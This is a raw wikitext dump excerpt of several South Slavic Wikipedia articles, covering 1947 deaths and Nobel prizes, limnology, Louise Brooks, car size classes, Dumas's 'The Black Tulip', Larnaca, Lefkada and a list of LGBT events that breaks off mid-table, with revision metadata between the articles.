Oktobar/Listopad &ndash; Decembar/Prosinac === * [[4. 10.]] - [[Max Planck]], njemački fizičar (* [[1858]].) * [[30. 11.]] - [[Ernst Lubitsch]], filmski režiser (* [[1892]]) * [[1. 12.]] - [[Aleister Crowley]], okultista, mistik (* [[1875]]) * 1. 12. - [[G. H. Hardy]], matematičar (* [[1877]]) * [[14. 12.]] - [[Stanley Baldwin]], bivši britanski premijer (* [[1867]]) * [[17. 12.]] - [[Johannes Nicolaus Brønsted]], fizikohemičar (* [[1879]]) * [[20. 12.]] - [[Heinrich Dankelmann]], komandant okupirane Srbije (* [[1889]]) * [[26. 12.]] - [[Hijacint Bošković]], dominikanac, teolog (* [[1900]]) * [[28. 12.]] - [[Vittorio Emanuele III od Italije]], bivši kralj (* [[1869]]) === Kroz godinu === * [[Aca Stanojević]], srpski političar (* [[1852]]) * [[Andrija Radović]], crnogorski političar (* [[1872]]) * [[Aleksandar Cincar-Marković]], bivši ministar ino. poslova (* [[1889]]) * [[Roman Petrović]], slikar (* [[1896]]) * [[Branko Ve Poljanski]] (Branislav Micić), umetnik zenitista (* [[1897]]) == Nobelova nagrada za 1947. godinu == * [[Nobelova nagrada za fiziku|'''Fizika''']]: [[Edward Victor Appleton]] (istraživanje fizike gornje atmosfere, naročito za otkriće [[Ionosfera#F sloj|Appletonovog sloja]]) * [[Nobelova nagrada za kemiju|'''Kemija''']]: [[Robert Robinson]] (istraživanje biljnih produkata od biološkog značaja, naročito alkaloida) * [[Nobelova nagrada za fiziologiju ili medicinu|'''Fiziologija i medicina''']]: [[Carl Ferdinand Cori]], [[Gerty Cori|Gerty Theresa Cori]] (otkriće toka katalitičke [[Glikogenoliza|konverzije glikogena]], → [[Korijev ciklus]]) i [[Bernardo Alberto Houssay]] (otkriće uloge koju igra hormon prednjeg [[hipofiza|pituitarnog]] režnja u metabolizmu šećera) * [[Nobelova nagrada za književnost|'''Književnost''']]: [[André Gide]] (sveobuhvatno i umetnički značajno pisanje, u kojem su ljudski problemi i stanje predstavljeni s neustrašivom ljubavlju prema istini i oštrim psihološkim uvidom) * [[Nobelova nagrada za mir|'''Mir''']]: [[Kvekeri|Friends Service Council ('''FCS''') i American Friends Service Comittee ('''AFSC''')]] (pionirski rad u međunarodnom mirovnom pokretu i humanitarni rad bez obzira na rasu ili nacionalnost) == Reference == {{reference}} == Literatura == * ''Collier's Year Book'' za 1947. (Microsoft Encarta 2004) * Return to Diversity, A Political History of East Central Europe Since World War II, Joseph Rothschild & Nancy M. Wingfield <!-- internacionalni linkovi --> {{commonscat|1947}} [[Kategorija:1940-e]] [[Kategorija:20. vijek|47]] [[Kategorija:Godine]] qqrt28cq52mk78tnyu7otucdhaywvug 0 34841 42602657 1643132 2026-05-28T03:27:16Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602657 wikitext text/x-wiki '''Limnologija''' ([[grčki jezik|grčki]] &#955;&#7984;&mu;&nu;&eta; jezero + -logija), grana [[hidrologija|hidrologije]] koja se bavi istraživanjem [[jezero|jezera]], napose fizikalnim i hemijskim svojstvima jezerske vode i [[biologija|biologijom]] jezera. [[François-Alphonse Forel]] (1841. - 1912.) je osnovao polje limnologije vlastitim proučavanjem [[Ženevsko jezero|Ženevskog jezera]]. Limnologija je tradicionalno blisko srodna [[hidrobiologija|hidrobiologiji]] koja se bavi primjenom principa i metoda [[fizika|fizike]], [[kemija|hemije]], [[geologija|geologije]] i [[geografija|geografije]] na [[ekologija|ekološke]] probleme. == Organizacije == * [[Američko limnološko i okeanografsko društvo]] * [[Australsko društov za limnologiju]] * [[Evropsko limnološko i okeanografsko društvo]] * [[Njemačko limnološko društvo]] ([http://www.dgl-ev.de www.dgl-ev.de]) * [[Talijansko udruženje za okeanologiju i limnologiju (AIOL)]] ([http://www.aiol.info www.aiol.info] - ''R.Bertoni'') * [[Japansko limnološko društvo]] * [[Societas Internationalis Limnologiae]] ([http://www.limnology.org limnology.org] {{Webarchive|url=https://web.archive.org/web/20060425165805/http://www.limnology.org/ |date=2006-04-25 }}) <!--[[Kategorija:Limnologija]]--> {{Commonscat|Limnology}} [[Kategorija:Hidrografija]] [[Kategorija:Hidrologija]] djxm4j70t7cnrulfqutwghohjznrfmu 0 51800 42602693 42249118 2026-05-28T07:58:29Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602693 wikitext text/x-wiki {{Infokutija02 glumac | bgcolour = silver | ime = Louise Brooks | slika = Louise Brooks detail ggbain.32453u.jpg | slikasize = 205px | opis = Portret Louise Brooks | ime_po_rođenju = Mary Louise Brooks | datum_rođenja = {{birth date|df=yes|1906|11|14}} | mjesto_rođenja = [[Cherryvale (Kansas)|Cherryvale]], [[Kansas]], [[SAD]] | datum_smrti = {{Death date and age |df=yes|1985|8|8|1906|11|14}} | mjesto_smrti = [[Rochester (New York)|Rochester]], [[Država New York|New York]], [[SAD]] | alias = Lou Lou, Brooksie | supružnik = [[A. Edward Sutherland]]<br />''(1926 - 1928)''<br />Deering Davis<br />''(1933 - 1934)'' | website = http://www.pandorasbox.com }} '''Mary Louise Brooks''' (14. novembar 1906 &ndash; 8. august 1985.), poznata po umjetničkom imenu '''Louise Brooks''', bila je [[SAD|američka]] plesačica, model, [[showgirl]] i glumica u eri [[nijemi film|nijemog filma]], slavna zbog svoje moderne [[bubikopf]] frizure. Brooks je najpoznatija po ulogama u dva filma [[G. W. Pabst]]a: ''[[Pandorina kutija (film)|Pandorina kutija]]'' ([[1929]]) i ''[[Dnevnik izgubljene djevojke]]'' (1929). Glumila je u sedamnaest nijemih filmova, a kasnije napisala [[memoari|memoare]] pod naslovom ''Lulu in Hollywood''. == Vanjske veze == {{commonscat}} * [http://www.pandorasbox.com/ Louise Brooks Society] * {{imdb ime|id=0000315|ime=Louise Brooks}} * {{amg name|id=2:8798}} * {{tcmdb name|id=23091}} * [http://www.goldensilents.com/stars/louisebrooks.html Louise Brooks at Golden Silents] * [https://web.archive.org/web/20071211210844/http://www.geocities.com/debstj/tynan.html ''The Girl in the Black Helmet'', by [[Kenneth Tynan]], originally appeared in ''[[The New Yorker]]'' in 1979] * [http://garyconklinfilms.com/Berlin.html A Louise Brooks interview clip from ''Memories of Berlin: The Twilight of Weimar Culture''] {{Webarchive|url=https://web.archive.org/web/20200217011741/http://garyconklinfilms.com/Berlin.html |date=2020-02-17 }} * [http://lenci-dolls.net/louise_brooks.html The Louise Brooks portrait doll by Lenci, 1930] * [http://www.brooksie.vintage-sky.net/ Louise Brooks Gallery] {{Webarchive|url=https://web.archive.org/web/20110531032632/http://www.brooksie.vintage-sky.net/ |date=2011-05-31 }} * {{worldcat id|id=lccn-n81-119097}} * {{Find A Grave|id=1581}} {{Lifetime|1906|1985|Brooks, Louise}} {{Normativna kontrola}} [[Kategorija:Američke filmske glumice]] [[Kategorija:Biseksualne glumice]] [[Kategorija:LGBT osobe iz Sjedinjenih Američkih Država]] r30seyqu1ldee7oycucue3xaolrmt9n 0 52653 42602539 42397725 2026-05-27T12:19:05Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602539 wikitext text/x-wiki '''Klasifikacija automobila''' je u pravilu [[subjektivnost|subjektivna]] s obzirom da mnoga vozila spadaju u više različitih kategorija, a neka ne spadaju ni u jednu. Svi tipovi automobila nisu uobičajeni za sve zemlje, a u nekima se koriste isti izrazi za različite kategorije. U ovom članku se uglavnom koriste izrazi koji su uobičajeni za [[Sjeverna Amerika|Sjevernu Ameriku]], odnosno u [[Evropa|Evropi]]. == Sistemi klasifikacije == Dolje su navedene najčešće korištene klasifikacije. Kada je god moguće, koristi se ekvivalent [[Euro NCAP]] klasifikacije. Rent-a-car kompanije koriste [[ACRISS Car Classification Code]]. Američka [[Agencija za zaštitu okoline SAD]] (EPA) koristi posebnu klasifikaciju ovisno o broju putnika i volumena.<ref>[http://www.fueleconomy.gov/feg/info.shtml#sizeclasses How are vehicle size classes defined?] FuelEconomy.gov, part of the U.S. Department of Energy</ref> Sličnu klasifikaciju koristi i kanadska EPA.<ref>[http://canadagazette.gc.ca/partII/2003/20030101/html/sor2-e.html CANADIAN ENVIRONMENTAL PROTECTION ACT, 1999] {{Webarchive|url=https://web.archive.org/web/20080813022332/http://canadagazette.gc.ca/partII/2003/20030101/html/sor2-e.html |date=2008-08-13 }} Canada Gazette</ref> U Australiji vlastitu klasifikaciju koristi Federalna komora automobilske industrije.<ref>[http://www.fcai.com.au/sales.php/2001/12/criteria.html VFACTS Motor Vehicle Classifications and Definitions] Australian FCAI - Federal Chamber of Automotive Industries</ref> {{Klasifikacija automobila}} == Mikroautomobili == [[Datoteka:Smart Fortwo II 20090704 front.JPG|mini|Automobil niske klase - [[Smart Fortwo]]]] [[Datoteka:VW Golf VI front-1.JPG|mini|Automobil kompaktne klase - [[Volkswagen Golf]]]] [[Datoteka:BMW 3er Touring Facelift front 20091212.jpg|mini|Automobil srednje klase - [[BMW serije 3]]]] [[Datoteka:Audi A6 C6 Modellpflege 20090221 front.jpg|mini|Automobil više srednje klase - [[Audi A6]]]] [[Datoteka:Mercedes Maybach 57 and 62.jpg|mini|Automobil visoke klase - [[Maybach 57]] i [[Maybach 62|62]]]] {{main|Mikroautomobil|Bubble car}} Ova vozila, koja se obično smatraju hibridima automobila i motocikla, imaju motor ispod 1 litre, obično samo dva sjedala, te su često neortodoksne konstrukcije. Neki mikroautomobili su na tri kotača, dok ih većina ima četiri kotača. Mikroautomobili su bili posebno popularni u poratnoj Evropi, kada se za njih koristio nadimak "[[Bubble car]]" (engleski ''Automobil-mjehurić''). Suvremeni nasljednik mikroautomobila je [[Smart Fortwo]]. Primjeri mikroautomobila: * [[Isetta]] * [[Messerschmitt microcar]] * [[Subaru 360]] == Hatchback, limuzine i karavani == {{main|Hatchback|Limuzina|Karavan (automobil)}} === Gradski automobil === {{main|Gradski automobil|Kei automobil}} Gradski automobil je maleni automobil napravljen za vožnju po [[gradsko područje|gradskim područjima]]. Za razliku od mikroautomobila, gradski automobil ima veću brzinu, kapacitet i (barem u percepciji) zaštitu vozača i putnika zbog čega se smatraju sigurnijim u miješanim sredinama i raznim vremenskim uvjetima. Iako gradski automobili mogu dostići brzine za vožnju na [[autocesta]]ma, to nije njihova svrha. U [[Japan]]u se gradski automobili nazivaju [[kei automobil]]ima. Kei automobili se ističu striktnim standardima veličine i motora: motori moraju imati maksimalni volumen od 660&nbsp;cm³ a dužina automobila mora biti ispod 3400&nbsp;mm. Primjeri kei automobila: * [[Autozam AZ-1]] * [[Daihatsu Copen]] * [[Honda Beat]] Primjeri gradskih automobila: * [[Fiat Cinquecento]] * [[Peugeot 107]] * [[Toyota Aygo]] === Supermini/subkompaktni automobil === {{main|Supermini car|Subcompact car}} Ova klasa automobila se zove '''supermini''' u [[Evropa|Evropi]], a '''subcompact''' u Sjevernoj Americi. Superminiji imaju tri, četiri ili pet vrata te su dizajnirani da komotno prime četiri putnika. Većina supermini hatchbackova su prosječno 3900&nbsp;mm dugi, doku su limuzine i karavani dugi oko 4200&nbsp;mm. U Evropi su prvi superminiji bili [[Fiat 500]] iz 1957. i [[Mini|Austin Mini]] iz 1959. godine. Danas su superminiji među najprodavanijim vozilima Evrope. Primjeri superminija / subkompaktnih vozila: * [[Ford Fiesta]] * [[Nissan Micra]] * [[Volkswagen Polo]] == Reference == {{reflist}} == Vanjske veze == * [http://www.euroncap.com/content/safety_ratings/introduction.php EuroNCAP classifications] {{Webarchive|url=https://web.archive.org/web/20090422165942/http://www.euroncap.com/content/safety_ratings/introduction.php |date=2009-04-22 }} [[Kategorija:Klase automobila| ]] [[Kategorija:Automobili]] [[Kategorija:Klasifikacioni sistemi|Automobili]] mado7qb39qcxi7hvbq6dxmfeer7lycj 0 55255 42602618 42248863 2026-05-27T22:05:18Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602618 wikitext text/x-wiki {{Infokutija knjiga | naslov = Crni tulipan | naslov_orig = La Tulipe Noire | autor = [[Alexandre Dumas (otac)|Alexandre Dumas]] | zemlja = {{flagcountry|FRA}} | jezik = [[Francuski jezik|francuski]] | žanr = [[Ljubavni roman|ljubavni]] [[historijski roman]] | izdavač = Baudry, Pariz 1850. | datum_izd = Francuska 1850 | stranica = 234 str. (Penguin Classics Edition) | isbn = 978-0-14-044892-4 (Penguin Classics Edition) }} '''''Crni tulipan''''' ({{lang-fr|La Tulipe Noire}}) je [[historijski roman]] koga je napisao i godine 1850. izdao francuski književnik [[Alexandre Dumas (otac)|Alexandre Dumas otac]]. Radnja romana se odvija u [[Holandija|Nizozemskoj]] godine [[1672]]. kada grad [[Haarlem]] nudi nagradu vrtlaru koji uspije uzgojiti crni tulipan, a protagonisti su povezani s ubistvom nizozemskog državnika [[Johan de Witt|Johana de Witta]]. == Vanjske veze == * {{gutenberg|no=965|name=The Black Tulip}} * [http://www.elook.org/literature/dumas/the-black-tulip/ eLook Literature: The Black Tulip] {{Webarchive|url=https://web.archive.org/web/20041126035356/http://www.elook.org/literature/dumas/the-black-tulip/ |date=2004-11-26 }} - HTML version broken down chapter by chapter. {{Alexandre Dumas, père}} {{Normativna kontrola}} {{DEFAULTSORT:Tulipan, Crni}} [[Kategorija:Romani 1850.]] [[Kategorija:Francuska književnost]] niflt565yrl07faktfyczlbv3hc6wq4 0 56938 42602625 42416122 2026-05-27T23:38:35Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602625 wikitext text/x-wiki {{Infokutija naselje | ime=Larnaka | drugo_ime = | službeno_ime= | izvorno_ime = | tip_naselja = [[grad]] | transkripcija_jezik1 = | transkripcija_jezik1_vrsta = | transkripcija_jezik1_info = | slika_horizont =Larnaca_by_the_sea.JPG | slika_veličina = 280px | slika_alt= | opis_slike=[[Panorama]] grada | marker_mapa = Kipar | marker_mapa_alt = | marker_mapa_opis = Larnaka na karti Kipra | marker_mapa_veličina = | marker_oznaka_pozicija = | marker_reljef= | koordinate= {{Coord|34|55|9|N|33|37|51|E|type:adm1st_region:XK|display=inline,title}} | podjela_vrsta= | podjela_ime= | podjela_vrsta = Država | podjela_ime = {{flag|Kipar}} | podjela_vrsta1= [[Distrikti Kipra|Distrikt]] | podjela_ime1= [[Larnaka (distrikt)|Larnaka]] | osnivanje_naslov = | osnivanje_datum= | osnivač = | vlada_vrsta = | vladajuće_tijelo = | vođa_stranka = | vođa_titula = [[Gradonačelnik]] | vođa_ime =️Andreas Vyras | nadmorska_visina=26<ref name=city/> | površina_ukupno =118.62 | površina_napomena = | stanovništvo_datum = [[2011]]. | stanovništvo_ukupno =52046 | stanovništvo_urban = | stanovništvo_rural = | stanovništvo_metro=84591<ref name=tur/> | stanovništvo_blank1= | stanovništvo_blank2 = | stanovništvo_napomena = | stanovništvo_demonim = | stanovništvo_napomene = | vremenska_zona = [[UTC+2]] | vremenska_zona_DST= | utc_pomak = | utc_pomak_DST= | poštanski_broj =6010-6060 | registarska_oznaka = | pozivni_broj =24 | veb-sajt = | napomene = }} '''Larnaka''' ([[grčki jezik|grčki]]: Λάρνακα, [[turski jezik|turski]]: ''Larnaka'') je [[grad]] i [[općina]] od 52,046 [[Stanovništvo|stanovnika]]<ref name=city>{{cite web | url =https://www.citypopulation.de/en/cyprus/communes/l%C3%A1rnaka/4000__l%C3%A1rnaka/ | title =Lárnaka in Lárnaka (Municipalities and Communities) | accessdate =15.01.2025. | language=engleski | publisher=City Population}}</ref> na [[jugoistok]]u [[Kipra]] u [[Grci|grčkom]] dijelu koji pripada [[Kipar|Republici Kipar]]. Larnaka je [[Upravni centar|Administrativni centar]] [[Larnaka (distrikt)|istoimenog distrikta]]. [[Urbano područje|Aglomeracija]] Larnaka ima 84,591 [[Stanovništvo|stan.]]<ref name=tur>{{cite web | url =https://www.citypopulation.de/en/cyprus/larnaca/admin/ | title =Cyprus: Larnaca Urban Agglomeration | accessdate =15.01.2025. | language=engleski | publisher=City Population}}</ref> == Karakteristike == [[datoteka:A@a_Larnaca_cyprus_-_panoramio_(19).jpg|thumb|left|240px|<center>Centar [[grad]]a</center>]] Za [[Antika|antike]] Larnaka se zvala Kition (ili latinski Citium) Biblijsko ime Kitim se koristilo za celi Kipar. Larnaka je poznata turistička destinacija, zbog tog ima Pored grada se nalazi Internacionalni [[aerodrom]] Glafcos Clerides[a] ([[IATA]]: '''LCA''', [[ICAO]]: '''LCLK''') i druga po važnosti [[luka]] u [[Kipar|zemlji]]. Severno od grada nalazi se glavna kiparska [[rafinerija nafte]]. Grad je poznat je po prekrasnom šetalištu uz more duž kojega se nalazi red [[palme|palmi]]. Uz to šetalište odvija se većina velikih festivala. Najznačajniji festival je festival potopa (kataklizmos), koji se slavi početkom leta uz seriju kulturnih događaja u gradu. Čuveni stoički filozof [[Zenon]] potiče iz Larnake, a tada Kitiuma. Kažu da je počeo sa [[stoiicizam|stoičkim]] izučavanjima, kada je izgubio sve što je imao u jednom brodolomu. Čuveni atinski general [[Kimon]] poginuo je tokom obrane Kitijuma u velikoj bici sa persijskim carem [[Kserks I|Kserksom]]. Kada je umirao naredio je da sakriju njegovu smrt dok se bitka ne završi. Čuvena grčka pevačica [[Ana Visi]] rođena je u Larnaci. == Historija == Larnaka je najstariji grad na Kipru i poznata je kao Kition ili Kitium. Po predanju prvo naselje je osnovao [[Noa|Noin]] praunuk Kitim. Za razliku od drugih antičkih gradova Kipra, koje je stanovništvo napuštalo Larnaka je stalno nastanjena od vremena stvaranja grada pre oko 6.000 godina. Najraniji nalazi su iz [[Mikenska Grčka|Mikenskoga doba]] (oko 1400. pne. do 1100. pne.) i izgleda da je bila egejska kolonija. Kraljevinu Kition osnovali su Grci Mikenjani u 13, veku pne. i tada je to bila bogata luka i važan centar trgovine [[bakar|bakrom]]. Iz toga razdoblja postoje kiklopski zidovi i kompleks mikenskih hramova. Kasnije je tu bila [[Fenikija|feničanska]] kolonija na Kipru, da bi još kasnije postala deo helenističkog sveta. Antički lokalitet je na severnom kraju današnje Larnake. Kitijum je u istorijska vremena bio glavni fenički centar na Kipru. Otkriven je spomenik asirijskog kralja [[Sargon II|Sargona II]], koji govori da je Kitijum bio administrativni centar u vreme Asirijskog protektorata (709. pne.-668. pne.). Za vreme [[Jonski ustanak|jonske pobune]] Grka protiv Persije u 4. veku pne. Kitijum je bio lojalan Persiji, pa su ga Atinjani opsedali [[449. pne.]] Larnaka je bila na raskršću civilizacija, pa je privlačila mnoštvo posetilaca. Neki su dolazili kao kolonizatori, drugi su dolazili kao trgovci i osvajači ili turisti. Vizantijski period Larnake je značajan po bazilici svetog Lazara iz 9. veka. Larnaka je 1973. imala 22.000 stanovnika. Turska okupacija severnog Kipra je stvorila veliku krizu, u kojoj je 200.000 Grka isterano iz kuća na severnom Kipru. U Larnaku je došlo 40.000 izbeglica. == Zanimljiva mesta == Najznačajnija lokacija Larnake su ruševine starog Kitijuma. Najraniji arheološki nalazi su iz 13. veka pne. Područje su ponovo izgradili ahajski [[Grci]]. Na mestu antičkog Kitijuma nalaze se kiklopske zidine. Filozof [[Zenon]] je rođen u Larnaci [[326. pne.]] Nakon studija filozofije u atini osnovao je školu stoičke filozofije. Njegova mramorna bista krasi današnju larnaku. Blizu međunarodnoga aerodroma ui Larnaci nalazi se [[Larnaka slano jezero]]. Tokom zime se puni vodom i posećuju ga [[plamenci]]i od novembra do marta. Leti se osuši. Kroz istoriju se koristilo kao mesto gde se sakupljala [[sol]], po kojoj je Larnaka bila poznata. Crkva svetog Lazara je predivna pravoslavna crkva sagrađena na grobu [[sveti Lazar|svetog Lazara]], brata Marije i Marte. Oko 890. nađen je njegov grob, na kome je pisalo, Lazar, Hristov prijatelj. Hala Sultan Teke je muslimansko svetilište na 5 kilometara zapadno od Larnake. Tu se nalazi grob [[Muhamed]]ove pomajke Um Haram, koja je poginula na tom mestu [[647]]. prilikom opsade Larnake od strane Arapa. Tu je bila sahranjena, a Turci su mnogo kasnije tu sagradili džamiju. Tvrđavu Larnaka sagradili su Turci [[1625]]. Tvrđava je danas muzej, a tokom leta dvorište se pretvara u pozorište. == Reference == {{izvori}} * [http://www.larnaka.com/History.html History of Larnaka by the official Municipality] {{Webarchive|url=https://web.archive.org/web/20071113153748/http://www.larnaka.com/History.html |date=2007-11-13 }} == Vanjske veze == {{Commonscat|Larnaca}} * [https://www.larnaka.org.cy/en/ ''Municipality Llarnaka''] {{en icon}} * [http://www.cyprus-art.com/ Art and events in Larnaca and Cyprus] * [http://www.pervoliavilla.com/cyprus/larnaca/ Larnaca for Tourists] {{Webarchive|url=https://web.archive.org/web/20090401210855/http://www.pervoliavilla.com/cyprus/larnaca/ |date=2009-04-01 }} * [http://www.frangiorgio.com/ Frangiorgio Hotel Apartments] {{Webarchive|url=https://web.archive.org/web/20090416105030/http://www.frangiorgio.com/ |date=2009-04-16 }} {{Normativna kontrola}} [[Kategorija:Gradovi na Kipru]] gaea9qkz5i9d9ctyt9ftn9jgbq79wql 0 58753 42602639 42590306 2026-05-28T01:11:03Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602639 wikitext text/x-wiki [[Datoteka:LefkadaWW.jpg|thumb|right|300 px|Iz svemira]] [[Datoteka:Lefkada-2007.JPG|thumb|right|300 px|Tipičan pejzaž na ostrvu]] '''Lefkada''' ({{grčki1|Λευκάδα}}, [[italijanski jezik|ital.]] ''Santa Maura'') je [[Grčka ostrva|grčko ostrvo]] koje pripada grupi [[Periferija Jonska ostrva|Jonskih ostrva]]. U upravnoj podjeli [[Grčka|grčke]] Lefkada je zajedno sa nekoliko manjih okolnih ostrva čini [[Prefektura Lefkada|prefekturu Lefkada]]. Njavažnije i najveće mesto je istoimeni grad [[Lefkada (grad)|Lefkada]]. == Prirodni uslovi == Ukupna površina ostrva je preko 300&nbsp;km² (blizu 90% prefekture). Ostrvo je odvojeno od kopna uzanim [[tjesnac|moreuzom]], širokim oko 2&nbsp;km, danas premošćenim [[most]]om na baržama. Severno od Lefkade nalazi se [[Krf]], a južno [[Kefalonija]] i [[Itaka]]. Lefkada je uglavnom krševita i brdovita. Postoji i nekoliko malih plodnih dolina. Klima na ostrvu je [[mediteranska klima|sredozemna]] sa dugim i tolim letima i blagim i kišovitim zimama. Biljni i životiski svet je osoben za [[Sredozemno more|Sredozemlje]]. Gajene kulture se gaje u nekoliko malih dolina - [[maslina]], [[vinova loza]], [[agrumi]], povrće i voće. == Historija == Lefkada je naseljena još od [[prahistorija|praistorijiskog]] doba. Leži sjevernozapadno od poluostrva [[Peloponez]]a, a sjeverno od ostrva [[Kefalonija|Kefalonije]] u [[Jonsko more|Jonskom moru]], i u današnje vrijeme pripada [[Grčka|Grčkoj]]. U [[Srednji vijek|srednjem vijeku]] ostrvo je pripadalo [[Византијско царство|Vizantiji]]. Srednjoevjekovni dvorac, [[italija]]nskog imena ''Santa Maura'' osnovala je talijanska vladajuća familija Toko (''Tocco''). [[Turci]] su držali ostrvo pod kontrolom više puta. Počevši od [[1479]]. do [[1502]]. i od [[1504]]. do [[1684]]. Ostrvo su zauzeli još jednom, ali kratko, od [[1715]]. do [[1716]]. To je bilo jedino [[Periferija Jonska ostrva|Jonsko ostrvo]] koje su turci kontrolisali. [[1716]]. godine [[Mletačka Republika|Mletačka republika]] je povratila ostrvo pod svoju upravu, koje je posjedovala od [[1684]]. završno sa 1797-om godinom. [[1864]]. Lefkada je pripojena [[Grčka|Grčkoj]] kraljevini. Prvi moderniji opis o ostrvu uradio je nadvojvoda Ludvig Salvator (''Erzherzog Ludwig Salvator'') == Stanovništvo == [[Grci]] čine pretežno stanovništvo na ostrvu. Međutim, leti ovde boravi mnogo stranaca - turista. == Vanjske veze == {{Commonscat}} [[Datoteka:Lefkada agios ioannis.jpg|thumb|desno|300 p|Plaža Ajos Joanis, južno od grada Lefkade]] (na grčkom i engleskom) * [http://www.lefkada.gr/ Prefecture of Lefkada] * [http://www.ionianislands.gr/english/lefkada/city/city.htm Lefkada city] {{Webarchive|url=https://web.archive.org/web/20070311023016/http://www.ionianislands.gr/english/lefkada/city/city.htm |date=2007-03-11 }} * [http://www.foi.org.uk/islands.php?island=lefkas&page=around Lefkas at a Glance] {{Webarchive|url=https://web.archive.org/web/20070403173001/http://www.foi.org.uk/islands.php?island=lefkas&page=around |date=2007-04-03 }} by the [http://www.foi.org.uk/ Friends of the Ionian] {{Webarchive|url=https://web.archive.org/web/20090306082853/http://www.foi.org.uk/ |date=2009-03-06 }} * [http://www.e-lefkas.gr/index.php?newlang=english E-lefkas]{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }} * [http://www.travel-to-lefkada.com Lefkada island guide] * [http://www.greek-islands.net/lefkada.html greek-islands.net on Lefkada] {{Webarchive|url=https://web.archive.org/web/20071103231835/http://www.greek-islands.net/lefkada.html |date=2007-11-03 }} * [http://www.fact-index.com/l/le/lefkada.html Lefkada] * [http://home.tiscali.nl/~mazawestervoort/lefkas_2003.htm Information on Lefkada] {{Webarchive|url=https://web.archive.org/web/20070221201416/http://home.tiscali.nl/~mazawestervoort/lefkas_2003.htm |date=2007-02-21 }} * [http://hellas.teipir.gr/prefectures/english/Lefkada/Lefkadas.htm Information on the Prefecture of Lefkada] * {{gr}} [http://www.visit-ionianislands.com/s_lefkada.htm Lefkada] {{Webarchive|url=https://web.archive.org/web/20070323003905/http://www.visit-ionianislands.com/s_lefkada.htm |date=2007-03-23 }} * [http://www.hellas.net/index.php?category=3100 360° Virtual tours of Lefkada]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }} * [http://www.greeka.com/ionian/lefkada/ Lefkada by Greeka] * [http://www.lefkasgreece.com/ Guide to lefkas] {{Webarchive|url=https://web.archive.org/web/20070311025508/http://www.lefkasgreece.com/ |date=2007-03-11 }} * [http://go-go.rs/2011/04/07/lefkada-apartmani/ Lefkada tourist guide] {{Grčka ostrva}} {{Grčke prefekture}} {{Koordinate Artikel|38_43_04_N_20_38_38_E_type:isle_region:GR|38° 43′ 4′′ S., 20° 38′ 38′′ I.}} [[Kategorija:Jonska ostrva]] [[Kategorija:Otoci u Grčkoj]] atk88uwfj4vcwuexhktuy6cp58gqkfg 0 60948 42602659 42590444 2026-05-28T04:02:38Z InternetArchiveBot 155863 Rescuing 3 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602659 wikitext text/x-wiki '''Lista LGBT manifestacija''' obuhvata [[parada ponosa LGBT osoba|parade ponosa]], filmske festivale, sportska takmičenja itd. Ovi događaji koje organizuje [[LGBT zajednica]] imaju za cilj promociju jednakih prava za sve osobe različitih [[seksualna orijentacija|seksualnih orijentacija]], [[rodni identitet|rodnih identiteta]] i [[rodno izražavanje|rodnog izražavanja]]. Najčešći simbol koji se vidi na ovim događajima je [[zastava duginih boja]]. Najveći događaj sa 3.5 miliona učesnika i učesnica jeste parada ponosa u [[Sao Paulo|Sao Paulu]]. == Svet == {| class="wikitable" width="100%" |- ! width="30%" | Naziv ! width="20%" | Mesto ! width="30%" | Website ! width="12%" | Vreme dešavanja ! width="8%" | Prva godina |- |[[Gay Games]] |Različito |[http://www.gaygames.com www.gaygames.com] |leto |1982 |- |[[World Outgames]] |Različito |[http://www.copenhagen2009.org/ www.copenhagen2009.org] {{Webarchive|url=https://web.archive.org/web/20091214235118/http://www.copenhagen2009.org/ |date=2009-12-14 }} |leto |2006 |- |[[Worldpride]] |različito |[http://www.pridelondon.org/about-us/worldpride2012 www.pridelondon.org] {{Webarchive|url=https://web.archive.org/web/20100806153850/http://www.pridelondon.org/about-us/worldpride2012 |date=2010-08-06 }} |leto |2000 |- |[[Coming Out Day]] |Na raznim mestima istovremeno | |11. oktobar |1988 |- |[[Međunarodni dan protiv homofobije]] |Na različitim mestima istovremeno | |17. maj |2005 |} == Evropa == {| class="wikitable" width="100%" |- ! width="30%" | Naziv ! width="20%" | Mesto ! width="30%" | Website ! width="12%" | Vreme dešavanja ! width="8%" | Prva godina |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Evropi|Evropa]] === |- | [[Rainbow Rampage]] | Evropa | [http://www.rainbowrampage.com/ www.rainbowrampage.com] | jun | |- | [[EuroGames]] | Evropa | [http://www.eurogames.info/ www.eurogames.info] | jul | 2002 |- | [[Europride]] | Evropa | [http://www.europride.info/ www.europride.info] | | 1992 |- | [[Mr Gay Europe]] | Evropa | [http://www.mrgayeurope.com/ www.mrgayeurope.com] {{Webarchive|url=https://web.archive.org/web/20080207195609/http://www.mrgayeurope.com/ |date=2008-02-07 }} | avgust | 2003 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Austriji|Austrija]] === |- | [[Gay Snowhappening Soelden]] | [[Soelden]] | [http://www.soelden.at/gaysnowhappening/ www.soelden.at/gaysnowhappening] {{Webarchive|url=https://web.archive.org/web/20071021015715/http://www.soelden.at/gaysnowhappening/ |date=2007-10-21 }} | mart | |- | [[Identities Queer Film Festival]] | [[Beč]] | [http://www.identities.at/ www.identities.at] {{Webarchive|url=https://web.archive.org/web/20090226205139/http://www.identities.at/ |date=2009-02-26 }} | jun | |- | [[Life Ball]] | [[Beč]] | [http://www.lifeball.org/ www.lifeball.org] | maj | 1993 |- | [[Regenbogen-Parade]] | [[Beč]] | [http://www.hosiwien.at/parade/parade.html www.hosiwien.at] {{Webarchive|url=https://web.archive.org/web/20080218123745/http://www.hosiwien.at/parade/parade.html |date=2008-02-18 }} | jul | 1996 |- | [[Regenbogenball]] | [[Beč]] | [http://www.hosiwien.at/regenbogenball www.regenbogenball.at] | januar | 1998 |- | [[EuroSki Pride]] | [[Saalbach]] | 